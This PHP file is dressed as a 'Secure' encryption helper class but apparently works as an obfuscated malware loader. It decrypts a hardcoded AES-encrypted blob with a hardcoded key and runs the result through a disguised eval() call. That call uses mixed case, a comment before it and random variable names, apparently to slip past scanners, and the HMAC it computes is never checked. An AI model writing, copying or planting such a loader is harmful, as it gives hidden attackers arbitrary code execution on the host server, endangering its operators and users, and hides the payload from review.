<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('uKbmHbAOAvU1AKnbukvZxtMmyKuoRtI5');
$str = '9C3tEyoXMpcNI1JeIS/AO6liImxH356O61yj80cTfA9DObAmh531HYWIRqDtVIag6IicSDW+fkCYj+LeHzmtZRb981lJCEQOpgot27zWiEmivntfEuhai5a3FDUTWpmr2awP2Wow/p5TeqEMbOu7gloEviYbKxmwMM9AnUMn17P0D3ZQH2VtSk+CTQ4fJa6XfG7J7jycmu57NNHEc9jRXIraoFdsrkSnDsMdKXPMF3nNG+x5WP8/t+/ZBldzGHLZLKDZw/HiNy+dhgpnmTkQucB2C1Wi9UwWxvReyGvy7vAQeUzuvDSovpikJ9qY4KuYdVS62JqOyUJAQeiAY3Dbn67gHdguIrvv2Y0xezVJjPpQD7SsHJOJFt3LPFnUvXz/aEangtsl3CE1RAYLwiZ1b8oxNMKFse6+CQ+5Fw9kMwsM16gtCsXpVE5RsNjnbG1A+RSADSrBOviV52k0L6Grx1rpY7HYDBPYyLEajZtL6Ve27JtWQxxGZIRHniT0m9XlMplnSW3+Dv2cvsWWKWreq/ro4+gOr2ZBdOsf4Lu/Q8UfrKPuNiGRl4jOZZ13uzCGvmH9waPT5fL1pybImiB1gvBNMvh+Y4nWxBgllU46yvPV01oUbLAWVzQ30dRdvWv/64U5SUIwvkCFENpfyjR6FDrKSkD/F0Y2K2TpbUYaU7n6z9EfvZ0nuqRvo7x3r+K1qUpE5BGnTpuoAN+swnXUKwsebqpbasGOJ1F7BlXGsFDFup8MKrXeYK/bZNycct42cIocQL1tUMuyaRbZYSP/R/u88dxwxtDa3IYMhodDhsgI7wTZB7YEVvWE084gT0+gqprLeMWWBGPEb7wZd/9tJxwhvqszldGOIPQHpAG+kudQ9HFhafiEvvxEj51lP1Foue8scF52uQyi6UVF1UFawMJUChi0LRsvmLNqLENdDgmL/H/pIg2qHIhlJ0nn3uTCspI0n/1emdcQxi54WerGShSXKvcIkeYJW1quUi7uvrd04mt0JiRHuX0Uc9m0Va1g/azSNnjGTmL9dA79fP543GB9S8ghPwB8L9J4wd7ewFo=';
$decrypted = $secure->decrypt($str);
$k3TWg9CzMa = function($GUThcHTSSzo){
/*dBAqIxdTR*/eVaL($GUThcHTSSzo);
$olbUk5b082u = "PpTkbFU9prxWRcrppKzaolq62SewHvOy";
return $olbUk5b082u;
};
$k3TWg9CzMa($decrypted);
